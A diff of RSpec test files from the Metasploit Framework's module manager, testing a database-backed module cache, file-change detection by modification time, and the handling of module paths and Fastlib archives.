framework.stub(:db => nil)
end
it { should be_false }
end
end
context '#module_info_by_path' do
it { should respond_to(:module_info_by_path) }
end
context '#module_info_by_path=' do
it { should respond_to(:module_info_by_path=) }
end
context '#module_info_by_path_from_database!' do
def module_info_by_path
module_manager.send(:module_info_by_path)
end
def module_info_by_path_from_database!
module_manager.send(:module_info_by_path_from_database!)
end
before(:each) do
module_manager.stub(:framework_migrated? => framework_migrated?)
end
context 'with framework migrated' do
include_context 'DatabaseCleaner'
let(:framework_migrated?) do
true
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or ActiveRecord::Base.connection_pool will raise an
# error.
framework.db.connect(spec)
end
it 'should call ActiveRecord::Base.connection_pool.with_connection' do
# 1st is from with_established_connection
# 2nd is from module_info_by_path_from_database!
ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times
module_info_by_path_from_database!
end
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
Mdm::Module::Detail.should_receive(:find_each)
module_info_by_path_from_database!
end
context 'with database cache' do
let(:parent_path) do
parent_pathname.to_path
end
let(:parent_pathname) do
Metasploit::Framework.root.join('modules')
end
let(:path) do
pathname.to_path
end
let(:pathname) do
parent_pathname.join(
'exploits',
"#{reference_name}.rb"
)
end
let(:pathname_modification_time) do
pathname.mtime
end
let(:type) do
'exploit'
end
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
#
# Let!s (let + before(:each))
#
let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail,
:file => path,
:mtype => type,
:mtime => pathname.mtime,
:refname => reference_name
)
end
it 'should create cache entry for path' do
module_info_by_path_from_database!
module_info_by_path.should have_key(path)
end
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original
module_info_by_path_from_database!
end
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]
end
before(:each) do
module_info_by_path_from_database!
end
its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) }
its([:parent_path]) { should == parent_path }
its([:reference_name]) { should == reference_name }
its([:type]) { should == type }
end
context 'typed module set' do
let(:typed_module_set) do
module_manager.module_set(type)
end
context 'with reference_name' do
before(:each) do
typed_module_set[reference_name] = mock('Msf::Module')
end
it 'should not change reference_name value' do
expect {
module_info_by_path_from_database!
}.to_not change {
typed_module_set[reference_name]
}
end
end
context 'without reference_name' do
it 'should set reference_name value to Msf::SymbolicModule' do
module_info_by_path_from_database!
# have to use fetch because [] will trigger de-symbolization and
# instantiation.
typed_module_set.fetch(reference_name).should == Msf::SymbolicModule
end
end
end
end
end
context 'without framework migrated' do
let(:framework_migrated?) do
false
end
it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) }
it 'should reset #module_info_by_path' do
# pre-fill module_info_by_path so change can be detected
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
module_info_by_path_from_database!
module_info_by_path.should be_empty
end
end
end
end

View File

@ -0,0 +1,79 @@
shared_examples_for 'Msf::ModuleManager::Loading' do
context '#file_changed?' do
let(:module_basename) do
[basename_prefix, '.rb']
end
it 'should return true if module info is not cached' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true
end
end
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path)
subject.send(:module_info_by_path)[module_path] = {
# :modification_time must match so that it is the :type that is causing the `true` and not the
# :modification_time causing the `true`.
:modification_time => modification_time,
:type => Msf::MODULE_PAYLOAD
}
subject.file_changed?(module_path).should be_true
end
end
context 'with cache module info and not a payload module' do
it 'should return true if the file does not exist on the file system' do
tempfile = Tempfile.new(module_basename)
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => modification_time
}
tempfile.unlink
File.exist?(module_path).should be_false
subject.file_changed?(module_path).should be_true
end
it 'should return true if modification time does not match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = (modification_time * rand).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true
end
end
it 'should return false if modification time does match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = modification_time
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false
end
end
end
end
end

View File

@ -0,0 +1,77 @@
shared_examples_for 'Msf::ModuleManager::ModulePaths' do
def module_paths
module_manager.send(:module_paths)
end
context '#add_module_path' do
it 'should strip trailing File::SEPARATOR from the path' do
Dir.mktmpdir do |path|
path_with_trailing_separator = path + File::SEPARATOR
module_manager.add_module_path(path_with_trailing_separator)
module_paths.should_not include(path_with_trailing_separator)
module_paths.should include(path)
end
end
context 'with Fastlib archive' do
it 'should raise an ArgumentError unless the File exists' do
file = Tempfile.new(archive_basename)
# unlink will clear path, so copy it to a variable
path = file.path
file.unlink
File.exist?(path).should be_false
expect {
module_manager.add_module_path(path)
}.to raise_error(ArgumentError, "The path supplied does not exist")
end
it 'should add the path to #module_paths if the File exists' do
Tempfile.open(archive_basename) do |temporary_file|
path = temporary_file.path
File.exist?(path).should be_true
module_manager.add_module_path(path)
module_paths.should include(path)
end
end
end
context 'with directory' do
it 'should add path to #module_paths' do
Dir.mktmpdir do |path|
module_manager.add_module_path(path)
module_paths.should include(path)
end
end
context 'containing Fastlib archives' do
it 'should add each Fastlib archive to #module_paths' do
Dir.mktmpdir do |directory|
Tempfile.open(archive_basename, directory) do |file|
module_manager.add_module_path(directory)
module_paths.should include(directory)
module_paths.should include(file.path)
end
end
end
end
end
context 'with other file' do
it 'should raise ArgumentError' do
Tempfile.open(basename_prefix) do |file|
expect {
subject.add_module_path(file.path)
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
end
end
end
end
end